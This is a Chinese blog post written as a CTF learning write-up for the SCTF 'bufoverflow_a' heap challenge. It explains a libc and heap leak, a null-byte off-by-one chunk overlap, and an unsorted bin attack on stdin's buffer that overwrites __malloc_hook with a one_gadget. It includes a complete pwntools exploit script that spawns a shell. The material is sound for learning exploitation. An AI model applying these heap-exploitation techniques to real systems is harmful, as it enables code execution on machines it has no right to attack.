pwn学习之四
本来以为应该能出一两道ctf的pwn了,结果又被sctf打击了一波。
bufoverflow_a
做这题时libc和堆地址都泄露完成了,卡在了unsorted bin attack上,由于delete会清0变量导致无法写,一直没构造出unsorted bin attack,后面根据wp发现只要修改一下free的顺序就行了。
这题的主要功能如下:

正常的堆题模板,1是申请堆,2是删除堆,3是写刚申请的堆,4是输出刚申请的堆的内容,5结束。
首先泄露libc的地址,申请堆只能申请0x7f到0x1000的大小,也就是不能申请fastbin,构造堆分布如下:

先申请两个0x88的chunk,然后free chunk 1,再申请一个0x88的堆,这时候这个堆的fd和bk指向main_arena+88,再执行show函数就可以泄露libc(这里注意不能申请过多堆,因为题目中只有堆的个数小于2的时候用的malloc,大于就用calloc,会清空堆的内容)
堆地址也可以用类似方法泄露,构造堆分布:

先申请4个0x88堆,再free堆块1和堆块3,堆块4,这样堆块3,4,top_chunk会合并,这时top_chunk的fd会是chunk 1,所以再申请一个大于0x88的堆会从top_chunk分配再show就能泄露堆地址。
再fill函数中存在null byte off-by-one漏洞,常规思路就是用null byte off-by-one造成overlap然后unsorted bin attack,这题有scanf函数,可以修改stdin的buf_end然后覆盖malloc_hook成one_gadget,用house of orange应该也是能出的。
首先构造堆块如下:

先申请了4个堆块,然后free掉第一个和第二个堆块,再申请第一个堆块,这样就可以写第一个堆块并使用漏洞将第二个堆块的size最后一位修改为\x00,这时第二个堆块还在unsorted bin里面。
接着继续申请4个堆块大小大于7f并且4个大小相加小于0x400。由于前面第二个堆块的size改变了导致unsorted bin大小变了但是后面堆块也就是之前申请的大小0x100的堆块的pre_size并没有更新(因为是通过unsortedbin这个堆的size来找下一个堆的pre_size去修改,但是现在size小于原来的size,所以找到的位置并不是0x100的堆的pre_size的位置而是更上面的地方)。申请过后堆的情况如下:

接着按照上图free 0x88,0x100,0x200,由于0x100的堆块的pre_size还是之前的值,所以会和0x88的堆块合并,就会造成一个大的unsortedbin并且包含了之前申请的0x200的堆块。(这里要特别注意free的顺序,由于只有刚申请的块能够写入,所以这里我们需要提前构造一个unsorted bin在之后申请的堆的内部,而unsorted bin是先入先出的结构如果前面的未满足申请的大小就会放入对应的smallbin或者largebin里面,所以先free了0x88,0x100使得两个块合并后有一个unsortedbin,再free 0x200得到第二个unsortedbin,这样下次malloc的时候第一个unsortedbin符合返回了,就不会把后面的unsortedbin放入smallbin里面去了)。
申请一个大小为0x518的块,这时这个块就包含了里面0x200的那个unsortedbin块,fill函数写入将unsortedbin的块的bk改为stdin+0x30,接着申请一个0x208的块就完成了unsorted bin attack,这时bk+0x10会被赋值为unsortedbin地址也就是main_arena+88,而stdin+0x30+0x10的位置就是buf_end的位置,所以buf_end被赋值为main_arena+88。
scanf写入时会先将输入放入缓冲区内,再写入,而缓冲区的位置就是buf_base,大小是buf_end-buf_base,现在修改了buf_end,也就是说我们可以任意写入值到buf_base到buf_end之间,而这之间就存在malloc_hook。
然而在这之间还需要保证两个值的正确性,一个是lock一个是vtable,lock需要一个指向0的地址,vtable就用原来的地址就行,所以构造payload如下:
payload = '1\n\x00\x00\x00'
payload +=p64(malloc_hook-libc.symbols['__malloc_hook']+0x39b770)
payload +=p64(0)*9+p64(malloc_hook-libc.symbols['__malloc_hook']+0x396440)
payload = payload.ljust(0x1ad,'\x00')
payload += p64(one_gadget)
这里看的wp都是前5个字符都是\x00,同样可以使得程序进入到1选项中去申请堆块,不是很理解,应该是和scanf接收\x00的处理有关,这里我构造的前5个字节为'1\n\x00\x00\x00',因为scanf碰到\n会将\n替换为\x00,这里就能保证输入1,进入了1选项后去申请一个大小的堆,就会跳到malloc_hook去执行one_gadget拿到shell了。
exp:
from pwn import *
p = process('./bufoverflow_a')
#p = remote('116.62.152.176', 20001)
#context.log_level = 'debug'
p.recvuntil('>> ')
def alloc(p,size):
p.sendline('1')
p.recvuntil('Size: ')
p.sendline(size)
p.recvuntil('>> ')
def delete(p,index):
p.sendline('2')
p.recvuntil('Index: ')
p.sendline(index)
p.recvuntil('>> ')
def fill(p,content):
p.sendline('3')
p.recvuntil('Content: ')
p.send(content)
p.recvuntil('>> ')
def show(p):
p.sendline('4')
#gdb.attach(proc.pidof(p)[0])
#leak libc
alloc(p,str(0x88)) #0
alloc(p,str(0x300)) #1
delete(p,str(0)) #free 0
alloc(p,str(0x88)) #0
show(p)
main_arena = u64(p.recv(6).ljust(8,'\x00'))-88
print hex(main_arena)
p.recvuntil('>> ')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('./libc.so.6')
malloc_hook = main_arena-0x10
io_list_all_addr = libc.symbols['_IO_list_all']+malloc_hook-libc.symbols['__malloc_hook']
jump_table_addr = libc.symbols['_IO_file_jumps']+malloc_hook-libc.symbols['__malloc_hook']
system_addr = libc.symbols['system']+malloc_hook-libc.symbols['__malloc_hook']
stdin = libc.symbols['_IO_2_1_stdin_']+malloc_hook-libc.symbols['__malloc_hook']
binsh = libc.search('/bin/sh\x00').next()+malloc_hook-libc.symbols['__malloc_hook']
one_gadget = 0xd6655+malloc_hook -libc.symbols['__malloc_hook']
print 'one_gadget:',hex(one_gadget)
#one_gadget = 0x45216+malloc_hook -libc.symbols['__malloc_hook']
print 'stdin:',hex(stdin)
print 'lock:',hex(malloc_hook-libc.symbols['__malloc_hook']+0x39b770)
print 'io_jump:',hex(malloc_hook-libc.symbols['__malloc_hook']+0x396440)
#clear
delete(p,str(0))
delete(p,str(1)) #leak heap
alloc(p,str(0x88))#0
alloc(p,str(0x88))#1
alloc(p,str(0x88))#2
alloc(p,str(0x88))#3
delete(p,str(0)) #free 0
delete(p,str(2)) #free 2
delete(p,str(3)) #free 3
alloc(p,str(0x100))#0
show(p)
heap_addr = u64(p.recv(6).ljust(8,'\x00'))
fake_heap = heap_addr-0x20+0x18
print hex(heap_addr)
#clear
p.recvuntil('>> ')
delete(p,str(0))
delete(p,str(1)) #unsafe unlink
alloc(p,str(0x88))#0
alloc(p,str(0x400))#1
alloc(p,str(0x100))#2
alloc(p,str(0x88))#3 delete(p,str(0))
delete(p,str(1))
alloc(p,str(0x88))#0
payload = 'a'*0x88
fill(p,payload) alloc(p,str(0x88)) #1
alloc(p,str(0x88)) #4
alloc(p,str(0x200)) #5
alloc(p,str(0xb8)) #6 delete(p,str(1))
delete(p,str(2))
delete(p,str(5)) alloc(p,str(0x518))
payload = 'a'*0x80
payload += p64(0) + p64(0x91)
payload += 'b'*0x80
payload += p64(0) + p64(0x211)
payload += p64(main_arena+88) + p64(stdin+0x30)
fill(p,payload+'\n') alloc(p,str(0x208)) '''payload = '1\n\x00\x00\x00'#'\x00'*5
payload += p64(malloc_hook-libc.symbols['__malloc_hook']+0x39b770)
payload += p64(0xffffffffffffffff) + p64(0)
payload += p64(malloc_hook-libc.symbols['__malloc_hook']+0x3999a0)+p64(0)
payload += p64(0)*2
payload += p64(0xffffffff)+p64(0)
payload += p64(0) + p64(malloc_hook-libc.symbols['__malloc_hook']+0x396440)
payload += '\x00'*0x130
payload += p64(malloc_hook-libc.symbols['__malloc_hook']+0x395f00)+p64(0)
payload += p64(malloc_hook-libc.symbols['__malloc_hook']+0x7c610)+p64(0)
payload += p64(one_gadget)'''
payload = '1\n\x00\x00\x00'
payload +=p64(malloc_hook-libc.symbols['__malloc_hook']+0x39b770)
payload +=p64(0)*9+p64(malloc_hook-libc.symbols['__malloc_hook']+0x396440)
payload = payload.ljust(0x1ad,'\x00')
payload += p64(one_gadget) p.sendline(payload)
p.recvuntil('Size: ')
p.sendline(str(0x88))
p.interactive()
主要写了一些在复现时候踩的坑和一些不理解的地方(大佬们可以自动忽略这些废话。。。)。
pwn学习之四的更多相关文章
- [转]Docker学习之四:使用docker安装mysql
本文转自:https://blog.csdn.net/qq_19348391/article/details/82998391 Docker学习之一:注册Docker Hub账号 Docker学习之二 ...
- jackson学习之四:WRAP_ROOT_VALUE(root对象)
欢迎访问我的GitHub https://github.com/zq2599/blog_demos 内容:所有原创文章分类汇总及配套源码,涉及Java.Docker.Kubernetes.DevOPS ...
- PWN学习之格式化字符串漏洞
目录 PWN学习之格式化字符串漏洞 格式化输出函数 格式化字符串漏洞 漏洞利用 使程序崩溃 栈数据泄露 任意地址内存泄漏 栈数据覆盖 任意地址内存覆盖 PWN学习之格式化字符串漏洞 格式化输出函数 可 ...
- PWN学习之整数溢出
目录 PWN学习之整数溢出 整数溢出 溢出和回绕 漏洞多发函数 整数溢出例子 PWN学习之整数溢出 整数溢出 如果一个整数用来计算一些敏感数值,如缓冲区大小或数值索引,就会产生潜在的危险.通常情况下, ...
- PWN学习之栈溢出
目录 PWN学习之栈溢出 前言 写bug bug.cpp源码 OD动态调试bug.exe OD调试观察溢出 栈溢出攻击之突破密码验证 x64位栈溢出 PWN学习之栈溢出 前言 我记得我在最开始学编程的 ...
- [二进制漏洞]PWN学习之格式化字符串漏洞 Linux篇
目录 [二进制漏洞]PWN学习之格式化字符串漏洞 Linux篇 格式化输出函数 printf函数族功能介绍 printf参数 type(类型) flags(标志) number(宽度) precisi ...
- pwn学习(1)
0x00 简介 入职之后,公司发布任务主搞pwn和re方向,re之前还有一定的了解,pwn我可真是个弟弟,百度了一番找到了蒸米大佬的帖子,现在开始学习. 0x01 保护方式 NX (DEP):堆栈不可 ...
- pwn学习之二
刚刚开始学习pwn,记录一下自己学习的过程. 今天get了第二道pwn题目的解答,做的题目是2017年TSCTF的easy fsb,通过这道题了解了一种漏洞和使用该漏洞获取shell的方法:即格式化字 ...
- pwn学习之一
刚刚开始学习pwn,记录一下自己学习的过程. 今天完成了第一道pwn题目的解答,做的题目是2017年TSCTF的bad egg,通过这道题学习到了一种getshell的方法:通过在大小不够存储shel ...
随机推荐
- Unity安装(Windows版)
Unity下载助手 Unity下载助手是一个小型可执行程序(大小约为1 MB),它允许您选择要下载和安装的Unity Editor的那些组件. 如果你不知道要安装,保留默认选择,单击继续 ,然后按照安 ...
- [面试]future模式
Future模式 什么是future模式? 传统单线程环境下,调用函数是同步的,必须等待程序返回结果后,才可进行其他处理. Futrue模式下,调用方式改为异步. Futrue模式的核心在于:充分利用 ...
- 安装python的pywin32安装不了,提示找不到py3.6-32
安装python的pywin32安装不了,提示找不到py3.6-32 首先我自己的py3.6是64位版本的,这是pywin32模块的下载地址 里面有各种版本的,首先我先下了64位的3.6版本的,结果提 ...
- 一次mysql主从加keepalived配置搭建及切换演示
[需求] 根据需求需要搭建mysql主从架构数据库及加keepalived进行自动切换VIP [环境介绍] 系统环境:CentOS release 6.4 (Final) + Server vers ...
- git本机服务器配置(三):Gitblit的安装
1. 下载 http://www.gitblit.com/ 2. 解压下载文件 3. 配置信息 3.1 需要提前配置好java jdk环境 3.2 打开data目录下的defaults.propert ...
- python3三角函数
三角函数 acos(x) 返回x的反余弦弧度值. asin(x) 返回x的反正弦弧度值. atan(x) 返回x的反正切弧度值. atan2(y, x) 返回给定的 X 及 Y 坐标值的反正切 ...
- Week_10 C
拓扑排序 Week_10 C 题意:输入n行数据a,b ,表示a的钱数大于b的钱数,最低的人分的的钱数为888,问最少需要多少钱可以分给员工 思路:标准的拓扑排序,不过这题需要逆向拓扑 注意点 ...
- 微信公众号替换title
说明:项目使用 vue 开发 方法一: 单页应用里整个页面只会在第一次完全刷新,后面只会局部刷新(一般不包括head及里面的title),所以无法在服务器端控制title,只能在页面刷新的时候通过js ...
- cdh集群ip更改
#---1.修改每个用户的hosts vi /etc/hosts #127.0.0.1 localhost localhost.localdomain localhost4 localhost4.lo ...
- 20175226 2018-2019-2 《Java程序设计》第六周学习总结
20175226 2018-2019-2 <Java程序设计>第六周学习总结 教材学习内容总结 内部类与异常类 内部类:Java支持在一个类中定义另一个类(可以是static类) 外嵌类的 ...